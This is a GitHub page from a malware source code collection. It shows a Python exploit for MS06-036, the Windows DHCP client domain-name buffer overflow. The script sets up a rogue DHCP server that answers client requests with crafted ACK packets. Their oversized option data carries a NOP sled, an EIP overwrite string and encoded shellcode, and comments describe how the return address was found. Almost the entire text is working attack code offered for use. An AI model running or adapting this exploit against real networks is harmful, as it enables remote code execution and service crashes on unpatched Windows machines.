MalwareSourceCode/Python/Exploit.Python.Ms06-036.a at main · reanimat0r/MalwareSourceCode · GitHub

History

237 lines (182 loc) · 7.07 KB

Raw

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

#!/usr/bin/env python

# by redsand@blacksecurity.org

# this (like any thing) would not be possible w/out the bl4ck team.

# thanks guys.

import sys, os

sys.path.append("pydhcplib")

from scapy import *

from pydhcplib.dhcp_packet import *

from pydhcplib.dhcp_network import *

from pydhcplib.type_strlist import *

from pydhcplib.type_ipv4 import *

from pydhcplib.type_hw_addr import *

inet_face = "vmnet8"

default_ip = "10.31.33.7"

# user bl4ck/bl4ck

# this exits via Thread (so thta we kill the dhcp thread in services.exe

# this means if services doesn't crash, it was a successful exploit

scode = "\x31\xc9\x83\xe9\xcb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x13" \

"\x43\x32\xa5\x83\xeb\xfc\xe2\xf4\xef\xab\x76\xa5\x13\x43\xb9\xe0" \

"\x2f\xc8\x4e\xa0\x6b\x42\xdd\x2e\x5c\x5b\xb9\xfa\x33\x42\xd9\xec" \

"\x98\x77\xb9\xa4\xfd\x72\xf2\x3c\xbf\xc7\xf2\xd1\x14\x82\xf8\xa8" \

"\x12\x81\xd9\x51\x28\x17\x16\xa1\x66\xa6\xb9\xfa\x37\x42\xd9\xc3" \

"\x98\x4f\x79\x2e\x4c\x5f\x33\x4e\x98\x5f\xb9\xa4\xf8\xca\x6e\x81" \

"\x17\x80\x03\x65\x77\xc8\x72\x95\x96\x83\x4a\xa9\x98\x03\x3e\x2e" \

"\x63\x5f\x9f\x2e\x7b\x4b\xd9\xac\x98\xc3\x82\xa5\x13\x43\xb9\xcd" \

"\x2f\x1c\x03\x53\x73\x15\xbb\x5d\x90\x83\x49\xf5\x7b\xac\xfc\x45" \

"\x73\x2b\xaa\x5b\x99\x4d\x65\x5a\xf4\x20\x5f\xc1\x3d\x26\x4a\xc0" \

"\x33\x6c\x51\x85\x7d\x26\x46\x85\x66\x30\x57\xd7\x33\x21\x5e\x91" \

"\x70\x28\x12\xc7\x7f\x77\x51\xce\x33\x6c\x73\xe1\x57\x63\x14\x83" \

"\x33\x2d\x57\xd1\x33\x2f\x5d\xc6\x72\x2f\x55\xd7\x7c\x36\x42\x85" \

"\x52\x27\x5f\xcc\x7d\x2a\x41\xd1\x61\x22\x46\xca\x61\x30\x12\xc7" \

"\x7f\x77\x51\xce\x33\x6c\x73\xe1\x57\x43\x32\xa5"

netopt = {'client_listen_port':"68",

'server_listen_port':"67",

'listen_address':"0.0.0.0"}

def substr(i,o,off):

begin=i[:off]

end=i[off+len(o):]

ret=begin+o+end

return ret

def io(i):

str=""

a=chr(i % 256)

i=i >> 8

b=chr(i % 256)

i=i >> 8

c=chr(i % 256)

i=i >> 8

d=chr(i % 256)

str+="%c%c%c%c" % (a,b,c,d)

return str

class Server(DhcpServer):

def __init__(self, options):

DhcpServer.__init__(self,options["listen_address"],

options["client_listen_port"],

options["server_listen_port"])

def HandleDhcpDiscover(self, packet):

my_reqip = ''

my_reqip = default_ip

sid_i = my_reqip.rfind(".")

server_ip = my_reqip[0:sid_i] + ".254"

our_ip = my_reqip[0:sid_i] + ".2"

mymac = hwmac(packet.GetHardwareAddress()).str()

print "** Received discover from %s (%s)" % (mymac,my_reqip)

mpacket = DhcpPacket()

mpacket.CreateDhcpOfferPacketFrom(packet)

mpacket.SetOption("dhcp_message_type",[2])

mpacket.SetOption("yiaddr", ipv4(my_reqip).list())

mpacket.SetOption("siaddr", ipv4(server_ip).list())

mpacket.SetOption("ip_address_lease_time",[0,0,7,8])

mpacket.SetOption("flags",[0,0])

mpacket.SetOption("server_identifier", ipv4(server_ip).list())

mpacket.SetOption("subnet_mask", ipv4("255.255.255.0").list())

mpacket.SetOption("domain_name_server", ipv4(our_ip).list())

mpacket.SetOption("router",ipv4(our_ip).list())

mpacket.SetOption("domain_name",strlist( ( "N" * 255 )).list())

append = "\xfa\xff" + ( "\x90" * 0xff )

p = Ether(dst=mymac,src=get_if_hwaddr(inet_face))/IP(src=server_ip,dst="255.255.255.255",ttl=16)/UDP(sport=67,dport=68)/mpacket.EncodePacket('')

print "** Sending DHCP Offer Packet to %s from %s" % (my_reqip,server_ip)

sendp(p, iface=inet_face, verbose=False)

def HandleDhcpRequest(self, packet):

ip = packet.GetOption("request_ip_address")

sid = packet.GetOption("server_identifier")

ciaddr = packet.GetOption("ciaddr")

my_reqip = ''

try:

data = packet.options_data['request_ip_address']

for i in range(0,len(data),4) :

if len(data[i:i+4]) == 4 :

my_reqip += ipv4(data[i:i+4]).str()

except:

my_reqip = default_ip

mymac = hwmac(packet.GetHardwareAddress()).str()

print "** Received request from %s (%s)" % (my_reqip,mymac)

sid_i = my_reqip.rfind(".")

server_ip = my_reqip[0:sid_i] + ".254"

our_ip = my_reqip[0:sid_i] + ".2"

mypacket = DhcpPacket()

mypacket.CreateDhcpAckPacketFrom(packet)

mypacket.SetOption("yiaddr", ipv4(my_reqip).list())

dumbstr = "\x90" * 0xFF

# we're looking for a jmp/call ebx ?! or landing in our codespace

# directly

# C5 converts to 253C

# BB = 2557

# AA = 00AC

# DD = 258C

# EE = 03B5

# 88 = 00D6

# 99 = 00EA

# F3 = 2591

# B0 = 2264

# 8F = 00c5

eipstr = ( "\xB9\x0b" * ( 254 / 2) ) + "\x64"

#eipstr = "C" * 0xFF

payload = "\x42" * 0xFF

payload = substr(payload, scode, 1)

## find location in heap to ret2

# find offset & append as many "\x26\x6e\x43\x6e"

# to increment ebx to a non trashed location (since ebx points to our code)

# then push ebx \x53 and \xc4 (retn)

# we're looking for a pop+pop+ret or a jmp/call ebx to return to our

# unicode filtered input

# note it must be iwthin the bounds of 0x0000**** - 0x0070****

# or 0x22***** <-- wont help us

append = "\x0f\xff" + ( "\x90" * 0xff )

append += "\xfa\xff" + ( dumbstr )

append += "\xfa\xff" + ( eipstr )

append += "\xfa\xff" + ( dumbstr )

append += "\xfa\xff" + ( payload[0:254]) + "\x00"

print "Length of our attack: %r" % len(append)

eth = Ether(dst=mymac,src=get_if_hwaddr(inet_face))

p = fragment(IP(src=server_ip,dst=my_reqip,ttl=16)/UDP(sport=67,dport=68)/mypacket.EncodePacket(append), 1024)

print "** Sending DHCP ACK response (len: %r) to %s from %s" % (len(append), my_reqip,server_ip)

for i in p:

sendp(eth/i, iface=inet_face, verbose=False)

def HandleDhcpDecline(self, packet):

return

#print "** Dhcp Declined"

#packet.PrintHeaders()

#packet.PrintOptions()

def HandleDhcpRelease(self, packet):

return

#packet.PrintHeaders()

#packet.PrintOptions()

def HandleDhcpInform(self, packet):

return

#packet.PrintHeaders()

#packet.PrintOptions()

print "[BL4CK] - MS06-036 DHCP Client Domain Name Overflow"

print "\t by redsand@blacksecurity.org"

print "Usage: %s [interface] [forced request ip]" % sys.argv[0]

print ""

if len(sys.argv) > 1:

inet_face = sys.argv[1]

if len(sys.argv) > 2:

default_ip = sys.argv[2]

print "Listening for client requests:\n"

print "Listening on interface: %s" % inet_face

print "Using default address: %s" % default_ip

server = Server(netopt)

while True :

server.GetNextDhcpPacket()

MalwareSourceCode/Python/Exploit.Python.Ms06-036.a at main · reanimat0r/MalwareSourceCode · GitHub

Expand file tree

Breadcrumbs

Exploit.Python.Ms06-036.a

Latest commit

History

Breadcrumbs

Exploit.Python.Ms06-036.a

File metadata and controls